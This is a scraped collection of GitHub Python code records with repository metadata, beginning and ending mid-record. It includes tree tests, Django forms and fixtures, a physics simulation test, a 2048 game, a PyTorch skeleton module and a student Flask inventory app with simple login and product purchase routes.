f\"Expected {expected} but got {are_same}\"\n\n# Test 4: Both trees single node, different values\nfirst = TreeNode(1)\nsecond = TreeNode(2)\nare_same = Solution().isSameTree(first, second)\nexpected = False\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n\n# Test 5: Both trees same structure, same values\nfirst = TreeNode(1, TreeNode(2), TreeNode(3))\nsecond = TreeNode(1, TreeNode(2), TreeNode(3))\nare_same = Solution().isSameTree(first, second)\nexpected = True\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n\n# Test 6: Both trees have same structure, different values\nfirst = TreeNode(1, TreeNode(2), TreeNode(3))\nsecond = TreeNode(1, TreeNode(3), TreeNode(2))\nare_same = Solution().isSameTree(first, second)\nexpected = False\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n\n# Test 7: Both trees have different structures\nfirst = TreeNode(1, TreeNode(2, TreeNode(4), TreeNode(5)), TreeNode(3))\nsecond = TreeNode(1, TreeNode(2), TreeNode(3))\nare_same = Solution().isSameTree(first, second)\nexpected = False\nassert are_same == expected, f\"Expected {expected} but got {are_same}\"\n","repo_name":"garofalof/algopractice_python","sub_path":"easy/100_Same_Tree.py","file_name":"100_Same_Tree.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6883979730","text":"from django.forms import ModelForm\nfrom .models import PLD\nfrom django import forms\n\n\nmyDateInput = forms.DateInput(format=('%Y-%m-%d'), attrs={'type': 'date'})\n\n\nclass PLDForm(ModelForm):\n\n class Meta:\n\n model = PLD\n exclude = ['subdivisions']\n widgets = {\n 'action_start': myDateInput,\n 'registration_date': myDateInput,\n 'request_date': myDateInput,\n }\n","repo_name":"levenkoevgeny/graduate_work","sub_path":"pld/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11638293712","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport test022_half_life_helpers as test022\nimport opengate as gate\nfrom opengate.tests import utility\nimport math\nimport sys\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n paths = utility.get_default_test_paths(__file__, \"\", \"test022\")\n\n # create the simulation\n sim = gate.Simulation()\n\n # multithread ?\n argv = sys.argv\n n = 1\n if len(argv) > 1:\n n = int(argv[1])\n\n # main options\n sim.g4_verbose = False\n # sim.visu = True\n sim.visu_type = \"vrml\"\n sim.number_of_threads = n\n sim.random_seed = 92344321\n print(sim)\n\n # units\n m = gate.g4_units.m\n cm = gate.g4_units.cm\n mm = gate.g4_units.mm\n nm = gate.g4_units.nm\n keV = gate.g4_units.keV\n Bq = gate.g4_units.Bq\n sec = gate.g4_units.s\n\n # set the world size like in the Gate macro\n sim.world.size = [10 * m, 10 * m, 10 * m]\n\n # waterbox\n waterbox1 = sim.add_volume(\"Box\", \"waterbox1\")\n waterbox1.size = [50 * cm, 50 * cm, 50 * cm]\n waterbox1.translation = [50 * cm, 0 * cm, 0 * cm]\n waterbox1.material = \"G4_WATER\"\n\n # plane between the two waterbox to stop gamma\n gcm3 = gate.g4_units.g_cm3\n sim.volume_manager.material_database.add_material_nb_atoms(\n \"Tung\", [\"W\"], [1], 1000 * gcm3\n )\n tung_plane = sim.add_volume(\"Box\", \"tung_plane\")\n tung_plane.size = [1 * cm, 300 * cm, 300 * cm]\n tung_plane.translation = [0 * cm, 0 * cm, 0 * cm]\n tung_plane.material = \"Tung\"\n\n # waterbox\n waterbox2 = sim.add_volume(\"Box\", \"waterbox2\")\n waterbox2.size = [50 * cm, 50 * cm, 50 * cm]\n waterbox2.translation = [-50 * cm, 0 * cm, 0 * cm]\n waterbox2.material = \"G4_WATER\"\n\n # physics\n sim.physics_manager.physics_list_name = \"QGSP_BERT_EMZ\"\n sim.physics_manager.enable_decay = True\n sim.physics_manager.global_production_cuts.all = (\n 1 * mm\n ) # all means: proton, electron, positron, gamma\n\n # activity\n activity_Bq = 4000\n half_life = 5.0 * sec\n lifetime = half_life / math.log(2.0)\n\n # \"hole\" in the timeline to check if no particle are emitted at this moment\n sim.run_timing_intervals = [[0 * sec, 12 * sec], [13 * sec, 20 * sec]]\n\n # source #1\n source1 = sim.add_source(\"GenericSource\", \"source1\")\n source1.mother = \"waterbox1\"\n source1.particle = \"ion 49 111\" # In111 171 keV and 245 keV\n source1.position.type = \"sphere\"\n source1.position.radius = 1 * mm\n source1.direction.type = \"iso\"\n source1.activity = activity_Bq * Bq / sim.number_of_threads\n source1.half_life = half_life\n # this is needed, but automatically done in GenericSource.py\n source1.user_particle_life_time = 0\n print()\n print(f\"Source1 ac = {source1.activity / Bq} Bq\")\n print(f\"Source1 HL = {half_life / sec} sec\")\n\n # source #2\n source2 = sim.add_source(\"GenericSource\", \"source2\")\n source2.mother = \"waterbox2\"\n source2.particle = \"ion 49 111\" # In111 171 keV and 245 keV\n source2.position.type = \"sphere\"\n source2.position.radius = 1 * mm\n source2.position.translation = [0, 0, -3 * cm]\n source2.direction.type = \"iso\"\n source2.user_particle_life_time = lifetime\n source2.n = activity_Bq / sim.number_of_threads * lifetime / sec\n print()\n print(\"Source2 n = \", source2.n)\n print(f\"Source2 HL = {half_life / sec} sec\")\n print(f\"Source2 LT = {lifetime / sec} sec\")\n print()\n\n # add stat actor\n stats_actor = sim.add_actor(\"SimulationStatisticsActor\", \"Stats\")\n stats_actor.track_types_flag = True\n\n # hit actor w1\n ta1 = sim.add_actor(\"PhaseSpaceActor\", \"PhaseSpace1\")\n ta1.mother = \"waterbox1\"\n ta1.attributes = [\"KineticEnergy\", \"GlobalTime\", \"PreGlobalTime\"]\n f = sim.add_filter(\"ParticleFilter\", \"f\")\n f.particle = \"gamma\"\n f.policy = \"keep\"\n ta1.filters.append(f)\n ta1.output = paths.output / \"test022_half_life_ion1.root\"\n\n # hit actor w2\n ta2 = sim.add_actor(\"PhaseSpaceActor\", \"PhaseSpace2\")\n ta2.mother = \"waterbox2\"\n ta2.attributes = [\"KineticEnergy\", \"GlobalTime\", \"PreGlobalTime\"]\n ta2.filters.append(f)\n ta2.output = paths.output / \"test022_half_life_ion2.root\"\n\n # start simulation\n sim.run()\n\n # get result\n stats = sim.output.get_actor(\"Stats\")\n print(stats)\n\n # tests\n fig, ax = plt.subplots(ncols=2, nrows=1, figsize=(15, 5))\n b1, n1 = test022.test_half_life_fit(sim, ta1.output, half_life, ax[0])\n b2, n2 = test022.test_half_life_fit(sim, ta2.output, half_life, ax[1])\n fn = paths.output / \"test022_half_life_ion_fit.png\"\n print(\"Figure in \", fn)\n plt.savefig(fn)\n is_ok = b1 and b2\n\n # compare number of gammas\n diff = math.fabs(n1 - n2) / n2\n tol = 0.05\n b = diff < tol\n print()\n utility.print_test(\n b, f\"Number of emitted gammas {n1} vs {n2} : {diff*100:.2f} % (tol is {tol})\"\n )\n is_ok = is_ok and b\n\n utility.test_ok(is_ok)\n","repo_name":"OpenGATE/opengate","sub_path":"opengate/tests/src/test022_half_life_ion.py","file_name":"test022_half_life_ion.py","file_ext":"py","file_size_in_byte":4928,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"3"} +{"seq_id":"18358172047","text":"# Найти сумму чисел ряда 1, 2, 3,..., 60 с использованием функции нахождения суммы.\n# Использовать локальнын переменные.\n\n\ndef function_sum(a, b):\n sum = 0\n while a <= b:\n sum = sum + a\n a = a + 1\n return sum\n\n\nfirst = float(input('Введите число, с которого начинается ряд: '))\nlast = float(input('Введите число, которым заканчивается ряд: '))\ntotal = function_sum(first, last)\nprint('Сумма заданного ряда чисел: ', total)\n","repo_name":"ullllosta/Yakushova_sem1","sub_path":"PZ_5/PZ5_1.py","file_name":"PZ5_1.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73109450640","text":"# pylint: disable=relative-beyond-top-level,no-member,not-callable\n\nimport torch\nfrom .data import SKELETONS\nfrom .geometry import (eye_batch, rotation_6d_to_matrix,\n matrix_to_rotation_6d, batch_vector_rotation)\n\n\nclass Skeleton(torch.nn.Module):\n \"\"\"Base class of skeleton.\"\"\"\n\n def __init__(self, skeleton=None, **kwargs):\n \"\"\"Load the default skeleton values.\"\"\"\n super().__init__()\n self.device = kwargs.get(\"device\", torch.device(\"cpu\"))\n self.dtype = kwargs.get(\"dtype\", torch.float32)\n\n d = SKELETONS.get(skeleton, SKELETONS[\"UDH_UPPER\"])\n self.names = d[\"names\"]\n self.n = len(self.names)\n\n # there may not be a reference point set\n _xyz = d.get(\"xyz\", None)\n if _xyz is None:\n xyz = torch.ones(\n 1, self.n, 3, device=self.device, dtype=self.dtype)\n else:\n xyz = torch.tensor(\n _xyz, device=self.device, dtype=self.dtype)[None, ...]\n\n parent = torch.tensor(d[\"parent\"], device=self.device)\n child = torch.tensor(d[\"child\"], device=self.device)\n\n self.register_buffer(\"parent_idx\", parent)\n self.register_buffer(\"child_idx\", child)\n self.register_buffer(\"xyz\", xyz)\n\n def _rotation2points(self, rot):\n \"\"\"\n Return the XYZ locations of the landmarks, rotated by the \n batch of rotation matrices. Requires valid reference skeleton xyz.\n \"\"\"\n n = rot.shape[0]\n device = self.device\n dtype = self.dtype\n rot = rot.to(device=device, dtype=dtype)\n\n M = [eye_batch(n, 4, device, dtype) for _ in range(self.n)]\n\n def _m(r, t):\n m = eye_batch(n, 4, device, dtype) \n m[:, :3, :3] = r\n m[:, :3, 3] = (r @ t[..., None])[..., 0]\n return m\n\n M[0] = _m(rot[:, 0], self.xyz[:, 0])\n\n for p, c in zip(self.parent_idx, self.child_idx):\n r, t = rot[:, c], self.xyz[:, c] - self.xyz[:, p]\n M[c] = M[p].clone() @ _m(r, t)\n\n return torch.stack(M, dim=1)[..., :3, 3]\n\n def _points2rotation(self, xyz):\n \"\"\"\n Return the angles between each joint in 9dof rotation matrices.\n Requires a valid reference skeleton at self.xyz.\n Root rotation cannot be determined from landmarks, so is identity.\n \"\"\"\n n = xyz.shape[0]\n device = self.device\n dtype = self.dtype\n xyz = xyz.to(device=device, dtype=dtype)\n\n # start with zero rotations\n R = [eye_batch(n, 3, device, dtype) for _ in range(self.n)]\n Rs = [eye_batch(n, 3, device, dtype) for _ in range(self.n)]\n\n def _m(p, c):\n t = self.xyz[:, c] - self.xyz[:, p]\n a = (Rs[p] @ t[..., None])[..., 0]\n b = xyz[:, c] - xyz[:, p]\n R[c] = batch_vector_rotation(a, b)\n Rs[c] = Rs[p] @ R[c].clone()\n\n for p, c in zip(self.parent_idx, self.child_idx):\n _m(p, c)\n return torch.stack(R, dim=1)\n\n def angles(self, xyz: torch.tensor) -> torch.Tensor:\n \"\"\"\n Return the angles between each joint in 6d rotation matrices.\n xyz: torch.tensor of shape [N_batches, n_joints, 6]\n see: https://zhouyisjtu.github.io/project_rotation/rotation.html\n \"\"\"\n R = self._points2rotation(xyz)\n return matrix_to_rotation_6d(R)\n\n def points(self, angles: torch.tensor) -> torch.Tensor:\n \"\"\"\n Return the 3d XYZ point locations of the landmarks. \n angles: torch.tensor of shape [N_batches, n_joints, 6]\n Requires valid reference skeleton xyz.\n \"\"\"\n angles = rotation_6d_to_matrix(angles)\n return self._rotation2points(angles)\n","repo_name":"davegreenwood/dskelton","sub_path":"dskeleton/skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33121346566","text":"import random as rd\nfrom textual_2048 import *\na1 = \"\"\"\n === === === ===\n| | | | |\n === === === ===\n| | | | |\n === === === ===\n| | | | |\n === === === ===\n| | | | |\n === === === ===\n \"\"\"\na2 = \"\"\"\n ==== ==== ==== ====\n| | | | |\n ==== ==== ==== ====\n| | | | |\n ==== ==== ==== ====\n| | | | |\n ==== ==== ==== ====\n| | | | |\n ==== ==== ==== ====\n \"\"\"\ndict_a = {1: a1, 2: a2}\n\nmouvement = ['left', 'right', 'up', 'down']\n\n\ndef create_grid(n=4):\n s = []\n for i in range(0, n):\n t = []\n for j in range(0, n):\n t.append(' ')\n s.append(t)\n return s\n\n\ndef grid_add_new_tile_at_position(grid, x, y):\n to_add = rd.choice([2, 4])\n grid[x][y] = to_add\n\n\ndef get_all_tiles(grid):\n all_tiles = []\n for l in grid:\n for x in l:\n if x == ' ':\n all_tiles.append(0)\n else:\n all_tiles.append(x)\n return all_tiles\n\n\ndef get_empty_tiles_positions(grid):\n empty_pos = []\n n = len(grid)\n for i in range(n):\n for j in range(n):\n if grid[i][j] == ' ' or grid[i][j] == 0:\n empty_pos.append((i, j))\n return empty_pos\n\n\ndef get_new_position(grid):\n empty_pos = get_empty_tiles_positions(grid)\n return rd.choice(empty_pos)\n\n\ndef grid_get_value(grid, x, y):\n if grid[x][y] == ' ':\n return 0\n return grid[x][y]\n\n\ndef grid_add_new_tile(grid):\n empty_pos = get_empty_tiles_positions(grid)\n x, y = rd.choice(empty_pos)\n to_add = rd.choice([2, 4])\n grid[x][y] = to_add\n return grid\n\n\ndef init_game(n=4):\n grid = create_grid(n)\n grid = grid_add_new_tile(grid)\n grid = grid_add_new_tile(grid)\n return grid\n\n\ndef render_grid(grid):\n n = len(grid)\n for i in range(n):\n for j in range(n):\n if grid[i][j] == ' ':\n grid[i][j] = 0\n\n\ndef grid_to_string_(grid, n):\n render_grid(grid)\n m = long_value(grid)\n a = dict_a[m]\n displayed = a[0:20] + str(grid[0][0]) + a[21:]\n displayed = displayed[0:24] + str(grid[0][1]) + displayed[25:]\n displayed = displayed[0:28] + str(grid[0][2]) + displayed[29:]\n displayed = displayed[0:32] + str(grid[0][3]) + displayed[33:]\n displayed = displayed[0:55] + str(grid[1][0]) + displayed[56:]\n displayed = displayed[0:59] + str(grid[1][1]) + displayed[60:]\n displayed = displayed[0:63] + str(grid[1][2]) + displayed[64:]\n displayed = displayed[0:67] + str(grid[1][3]) + displayed[68:]\n displayed = displayed[0:90] + str(grid[2][0]) + displayed[91:]\n displayed = displayed[0:94] + str(grid[2][1]) + displayed[95:]\n displayed = displayed[0:98] + str(grid[2][2]) + displayed[99:]\n displayed = displayed[0:102] + str(grid[2][3]) + displayed[103:]\n displayed = displayed[0:125] + str(grid[3][0]) + displayed[126:]\n displayed = displayed[0:129] + str(grid[3][1]) + displayed[130:]\n displayed = displayed[0:133] + str(grid[3][2]) + displayed[134:]\n displayed = displayed[0:137] + str(grid[3][3]) + displayed[138:]\n return (displayed)\n\n\ndef long_value(grid):\n length_grid = []\n render_grid(grid)\n for l in grid:\n for x in l:\n length_grid.append(len(str(x)))\n return max(length_grid)\n\n\ndef print_line(n, len_grid):\n if n == 1:\n for _ in range(len_grid):\n print(' ===', end=\"\")\n print(' ', end=\"\\n\")\n# print(' === === === === ',end='\\n')\n elif n == 2:\n for _ in range(len_grid):\n print(' ====', end=\"\")\n print(' ', end=\"\\n\")\n# print(' ==== ==== ==== ==== ',end='\\n')\n elif n == 3:\n for _ in range(len_grid):\n print(' =====', end=\"\")\n print(' ', end=\"\\n\")\n# print(' ===== ===== ===== ===== ',end='\\n')\n elif n == 4:\n for _ in range(len_grid):\n print(' ===', end=\"\")\n print(' ', end=\"\\n\")\n# print(' ====== ====== ====== ====== ',end='\\n')\n\n\ndef grid_to_string(grid):\n m = long_value(grid)\n n = len(grid)\n for i in range(n):\n print_line(m, n)\n for j in range(n):\n ch = str(grid[i][j])\n while (len(ch) < m):\n ch += ' '\n print('| '+ch+' ', end=\"\")\n print('|', end='\\n')\n print_line(m, n)\n\n\ndef squeez(row):\n n = len(row)\n all_values = []\n for x in row:\n if x != 0:\n all_values.append(x)\n while len(all_values) < n:\n all_values.append(0)\n return all_values\n\n\ndef move_row_left(row):\n n = len(row)\n squeezed_row = squeez(row)\n for i in range(0, n-1):\n if squeezed_row[i] == squeezed_row[i+1]:\n squeezed_row[i] = 2*squeezed_row[i]\n squeezed_row[i+1] = 0\n return squeez(squeezed_row)\n\n\ndef move_row_right(row):\n alt_row = [x for x in row]\n alt_row.reverse()\n l = move_row_left(alt_row)\n l.reverse()\n return l\n\n\ndef transpose(grid):\n n = len(grid)\n tran_grid = []\n for i in range(n):\n t = [l[i] for l in grid]\n tran_grid.append(t)\n return tran_grid\n\n\ndef move_grid(grid, d):\n new_grid = []\n if d == 'left':\n for l in grid:\n new_grid.append(move_row_left(l))\n if d == 'right':\n for l in grid:\n new_grid.append(move_row_right(l))\n if d == 'up':\n for l in transpose(grid):\n new_grid.append(move_row_left(l))\n new_grid = transpose(new_grid)\n if d == 'down':\n for l in transpose(grid):\n new_grid.append(move_row_right(l))\n new_grid = transpose(new_grid)\n return new_grid\n\n\ndef is_grid_full(grid):\n tiles = get_all_tiles(grid)\n return (not 0 in tiles)\n\n\ndef move_possible(grid):\n mv_possible = []\n mv_possible.append(move_grid(grid, 'left') != grid)\n mv_possible.append(move_grid(grid, 'right') != grid)\n mv_possible.append(move_grid(grid, 'up') != grid)\n mv_possible.append(move_grid(grid, 'down') != grid)\n# mv_possible = [move_grid(grid, 'left') != grid, move_grid(grid, 'right') != grid, move_grid(grid, 'up') != grid, move_grid(grid, 'down') != grid]\n return mv_possible\n\n\ndef mvt_possible(grid):\n mv_possible = []\n n = len(grid)\n bool_possible = move_possible(grid)\n for i in range(n):\n if bool_possible[i]:\n mv_possible.append(mouvement[i])\n return mv_possible\n\n\ndef is_game_over(grid):\n if move_possible(grid) == [False, False, False, False]:\n return True\n else:\n return False\n\n\ndef is_game_won(grid):\n render_grid(grid)\n tiles = get_all_tiles(grid)\n for x in tiles:\n if x > 2048:\n return True\n return False\n\n\ndef random_play():\n grid = init_game()\n render_grid(grid)\n print(grid_to_string(grid))\n while (not is_game_over(grid)):\n\n mv = rd.choice(mvt_possible(grid))\n grid = move_grid(grid, mv)\n grid = grid_add_new_tile(grid)\n print(grid_to_string(grid))\n if is_game_won(grid):\n print('you won')\n else:\n print('you lost')\n\n\ndef game_play():\n n = int(read_size_grid())\n grid = init_game(n)\n render_grid(grid)\n print(grid_to_string(grid))\n while (not is_game_over(grid)):\n mv = read_player_command()\n if mv == 'g':\n mv = 'left'\n elif mv == 'd':\n mv = 'right'\n elif mv == 'h':\n mv = 'up'\n elif mv == 'b':\n mv = 'down'\n elif mv == 'x':\n break\n grid = move_grid(grid, mv)\n grid = grid_add_new_tile(grid)\n print(grid_to_string(grid))\n","repo_name":"Marouane-elouarraq/game2048","sub_path":"grid_2048.py","file_name":"grid_2048.py","file_ext":"py","file_size_in_byte":7564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73095074321","text":"# test ast model\nfrom transformers import AutoFeatureExtractor, ASTForAudioClassification, ASTPreTrainedModel\nfrom datasets import load_dataset\nimport torch\n\ndataset = load_dataset(\"hf-internal-testing/librispeech_asr_demo\", \"clean\", split=\"validation\")\ndataset = dataset.sort(\"id\")\nsampling_rate = dataset.features[\"audio\"].sampling_rate\n\nfeature_extractor = AutoFeatureExtractor.from_pretrained(\"MIT/ast-finetuned-audioset-10-10-0.4593\")\nmodel = ASTForAudioClassification.from_pretrained(\"MIT/ast-finetuned-audioset-10-10-0.4593\")\nASTPreTrainedModel\n# audio file is decoded on the fly\ninputs = feature_extractor(dataset[0][\"audio\"][\"array\"], sampling_rate=sampling_rate, return_tensors=\"pt\")\n\nwith torch.no_grad():\n logits = model(**inputs).logits\n\npredicted_class_ids = torch.argmax(logits, dim=-1).item()\npredicted_label = model.config.id2label[predicted_class_ids]\npredicted_label\n\n# compute loss - target_label is e.g. \"down\"\ntarget_label = model.config.id2label[0]\ninputs[\"labels\"] = torch.tensor([model.config.label2id[target_label]])\nloss = model(**inputs).loss\nprint(round(loss.item(), 2))","repo_name":"thainv0212/thesis","sub_path":"gmc_code/unsupervised/architectures/models/test_ast.py","file_name":"test_ast.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30504600644","text":"import tempfile\nimport uuid\nfrom io import BytesIO\nfrom unittest import mock\n\nimport pytest\nfrom PIL import Image\n\nfrom django.contrib.auth.models import User\nfrom django.core.files import File\nfrom django.core.files.images import ImageFile\nfrom django.core.files.temp import NamedTemporaryFile\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom pytest_factoryboy import register\nfrom selenium import webdriver\n\nfrom Building.models import Building, PaymentPeriod, Cartography, HousingCooperative\nfrom User.models import Profile\nfrom User.tests.factories import UserFactory\n\nregister(UserFactory)\n\n\n# @pytest.fixture(scope='function')\n# def func():\n# print(\"before testcase\")\n# yield 10\n# print(\"after testcase\")\n\n\n@pytest.fixture(scope='function')\ndef test_password():\n return 'Testpass123'\n\n\n@pytest.fixture(scope='function')\ndef app_user_factory(db):\n def create_app_user(\n username: str,\n password: str,\n first_name: str = \"first name\",\n last_name: str = \"last name\",\n email: str = \"foo@bar.com\",\n is_staff: str = False,\n is_superuser: str = False,\n is_active: str = True,\n ) -> User:\n user = User.objects.create_user(\n username=username,\n password=password,\n first_name=first_name,\n last_name=last_name,\n email=email,\n is_staff=is_staff,\n is_superuser=is_superuser,\n is_active=is_active,\n )\n return user\n\n return create_app_user\n\n\n@pytest.fixture(scope='function')\ndef app_user_profile_factory(db):\n def create_app_user_profile(\n user: User,\n phone_number: str,\n ) -> Profile:\n profile = Profile.objects.create(\n user=user,\n phone_number=phone_number,\n )\n return profile\n\n return create_app_user_profile\n\n\n@pytest.fixture(scope='function')\ndef user_A(db, app_user_factory) -> User:\n return app_user_factory(\"Kermit\", \"Secret\")\n\n\n@pytest.fixture(scope='function')\ndef user_B(db, app_user_factory) -> User:\n return app_user_factory(\"Bob1980\", \"Testpass123\")\n\n\n@pytest.fixture(scope='function')\ndef user_A_profile(db, user_A, app_user_profile_factory) -> Profile:\n return app_user_profile_factory(user_A, '793454606')\n\n\n@pytest.fixture(scope='function')\ndef create_user(db, django_user_model, test_password):\n def make_user(**kwargs):\n kwargs['password'] = test_password\n\n if 'username' not in kwargs:\n kwargs['username'] = str(uuid.uuid4())\n\n return django_user_model.objects.create_user(**kwargs)\n\n return make_user\n\n\ndef get_image(name='test.png', ext='png', size=(50, 50), color=(256, 0, 0)):\n file_obj = BytesIO()\n image = Image.new(\"RGBA\", size=size, color=color)\n image.save(file_obj, ext)\n file_obj.seek(0)\n return File(file_obj, name=name)\n\n\n@pytest.fixture(scope='function')\ndef payment_period_helper(db):\n for x in range(12):\n PaymentPeriod.objects.create(month=x + 1, year=1)\n\n\n@pytest.fixture(scope='function')\ndef app_building_factory(db):\n def create_building(\n no_of_flats: int,\n street: str = 'Jesionowa',\n number: str = '10',\n city: str = 'Wrocław',\n zip_code: str = \"50-518\",\n slug: str = 'jesionowa-10',\n picture=get_image()\n ) -> Building:\n building = Building.objects.create(\n street=street,\n number=number,\n city=city,\n zip_code=zip_code,\n no_of_flats=no_of_flats,\n slug=slug,\n picture=picture\n )\n return building\n\n return create_building\n\n\n@pytest.fixture(scope='function')\ndef app_cartography_factory(db):\n def create_cartography(\n building: Building,\n parcel_identification_number: str = '026401_1.0022.AR_28.86',\n parcel_precinct: int = 1,\n parcel_number: str = '86'\n ) -> Cartography:\n carto = Cartography.objects.create(\n building=building,\n parcel_identification_number=parcel_identification_number,\n parcel_precinct=parcel_precinct,\n parcel_number=parcel_number\n )\n return carto\n\n return create_cartography\n\n\n@pytest.fixture(scope='function')\ndef app_coop_factory(db):\n def create_housing_cooperative(\n name: str = 'Zarządca',\n street: str = 'Jesionowa',\n number: str = '86',\n city: str = 'Wrocław',\n zip_code: str = '50-518',\n email: str = 'op@op.pl',\n phone: str = '793454606',\n logo=get_image()\n ) -> HousingCooperative:\n coop = HousingCooperative.objects.create(\n name=name,\n street=street,\n number=number,\n city=city,\n zip_code=zip_code,\n email=email,\n phone=phone,\n logo=logo\n )\n return coop\n\n return create_housing_cooperative()\n\n\n# Selenium\n@pytest.fixture(params=['chrome', 'chrome1920'], scope='class')\ndef driver_init(request):\n if request.param == 'chrome':\n options = webdriver.ChromeOptions()\n options.add_argument('--headless')\n web_driver = webdriver.Chrome(executable_path=r'./test_helpers/chromedriver', options=options)\n request.cls.browser = 'chrome_default'\n elif request.param == 'chrome1920':\n options = webdriver.ChromeOptions()\n options.add_argument('--window-size=1920,1080')\n options.add_argument('--headless')\n web_driver = webdriver.Chrome(executable_path=r'./test_helpers/chromedriver', options=options)\n request.cls.browser = 'chrome1920x1080'\n else:\n options = webdriver.FirefoxOptions()\n options.add_argument('--headless')\n web_driver = webdriver.Firefox(executable_path=r'./test_helpers/geckodriver', options=options)\n\n request.cls.driver = web_driver\n\n yield\n\n web_driver.close()\n","repo_name":"LukaszHoszowski/Django_ProEstate","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42555660850","text":"\r\n\r\nfrom flask import Flask, render_template, request, redirect, url_for, session,flash\r\nfrom flask_mysqldb import MySQL \r\nimport MySQLdb.cursors \r\nimport re \r\nimport json\r\nfrom datetime import time\r\n\r\n\r\napp = Flask(__name__) \r\n\r\n\r\napp.secret_key = 'your secret key'\r\n\r\napp.config['MYSQL_HOST'] = 'localhost'\r\napp.config['MYSQL_USER'] = 'root'\r\napp.config['MYSQL_PASSWORD'] = '12345'\r\napp.config['MYSQL_DB'] = 'storedata'\r\n\r\nmysql = MySQL(app) \r\n\r\n@app.route('/') \r\n@app.route('/login', methods =['GET', 'POST']) \r\ndef login(): \r\n msg = '' \r\n if request.method == 'POST' and 'password' in request.form: \r\n \r\n password = request.form['password'] \r\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor) \r\n cursor.execute('SELECT * FROM accounts WHERE password = % s', ( password, )) \r\n account = cursor.fetchone() \r\n if account: \r\n session['loggedin'] = True\r\n \r\n session['password'] = account['password'] \r\n msg = 'Logged in successfully !'\r\n return render_template('home.html', msg = msg) \r\n else: \r\n msg = 'Incorrect password !'\r\n return render_template('login.html', msg = msg) \r\n\r\n@app.route('/logout') \r\ndef logout(): \r\n session.pop('loggedin', None) \r\n return redirect(url_for('login')) \r\n\r\n@app.route('/register', methods =['GET', 'POST']) \r\ndef register(): \r\n msg = '' \r\n if request.method == 'POST' and 'email' in request.form and 'password' in request.form : \r\n email = request.form['email'] \r\n password = request.form['password'] \r\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor) \r\n cursor.execute('SELECT * FROM accounts where email = % s', (email, )) \r\n account = cursor.fetchone() \r\n if account: \r\n msg = 'Account already exists !'\r\n elif not re.match(r'[^@]+@[^@]+\\.[^@]+', email): \r\n msg = 'Invalid email address !'\r\n\r\n elif not password or not email: \r\n msg = 'Please fill out the form !'\r\n else: \r\n cursor.execute('INSERT INTO accounts VALUES ( % s, % s)', ( email, password, )) \r\n mysql.connection.commit() \r\n msg = 'You have successfully registered !'\r\n elif request.method == 'POST': \r\n msg = 'Please fill out the form !'\r\n return render_template('register.html', msg = msg) \r\n\r\n\r\n\r\n@app.route('/product', methods =['GET', 'POST'])\r\ndef insert():\r\n msg=''\r\n if request.method ==\"POST\":\r\n pid=request.form['pid']\r\n name=request.form['name']\r\n company=request.form['company']\r\n price=request.form['price']\r\n quantity=request.form['quantity']\r\n b=int(quantity)\r\n \r\n cursor = mysql.connection.cursor() \r\n cursor.execute('SELECT quantity FROM products where id = % s ', (pid,)) \r\n quan = cursor.fetchone()\r\n if quan:\r\n a=list(quan)\r\n msg=\"Product already exists! Update is successful!\"\r\n cursor.execute(\"\"\"UPDATE products SET quantity=%s WHERE id=%s\"\"\", (b+a[0],pid,))\r\n mysql.connection.commit()\r\n else:\r\n msg='Insertion of new product is successful'\r\n \r\n cursor.execute('insert into products(id, name, company, price, quantity) values(%s, %s, %s, %s, %s)',(pid, name, company, price, quantity))\r\n mysql.connection.commit()\r\n return render_template('product.html',msg=msg)\r\n \r\n\r\n\r\n@app.route('/buy', methods =['GET', 'POST'])\r\ndef buy():\r\n msg=''\r\n msg1=''\r\n if request.method ==\"POST\":\r\n pid=request.form['pid']\r\n name=request.form['name']\r\n company=request.form['company']\r\n price=request.form['price']\r\n quantity=request.form['quantity']\r\n b=int(quantity)\r\n m=int(price)\r\n \r\n cursor = mysql.connection.cursor() \r\n cursor.execute('SELECT quantity FROM products where id = % s', (pid, )) \r\n quan = cursor.fetchone()\r\n if quan:\r\n a=list(quan)\r\n \r\n \r\n if a[0]>=b:\r\n msg=\"Product is bought successfully!\"\r\n cursor.execute(\"\"\"UPDATE products SET quantity=%s WHERE id=%s\"\"\", (a[0]-b,pid,))\r\n mysql.connection.commit()\r\n cursor.execute(\"select count(%s) from sold where id=%s\",(pid,pid,))\r\n m=cursor.fetchone()\r\n om=list(m)\r\n if om[0]==0:\r\n cursor.execute(\"\"\"insert into sold(id,name,company,price,quantity) values(%s, %s, %s, %s, %s)\"\"\",(pid, name, company, price, quantity,))\r\n mysql.connection.commit()\r\n else:\r\n cursor.execute('SELECT quantity FROM sold where id = %s ', (pid,))\r\n quan2=cursor.fetchone()\r\n if quan2:\r\n y=list(quan2)\r\n cursor.execute('UPDATE sold SET quantity=%s WHERE id=%s', (y[0]+b,pid,))\r\n mysql.connection.commit()\r\n\r\n\r\n cursor.execute('SELECT quantity FROM products where id = % s', (pid, )) \r\n quans = cursor.fetchone()\r\n c=list(quans)\r\n if c[0] == 0:\r\n flash(\"ALERT!Product is empty in the store! Do refill it\")\r\n return render_template('sales.html',msg=msg)\r\n 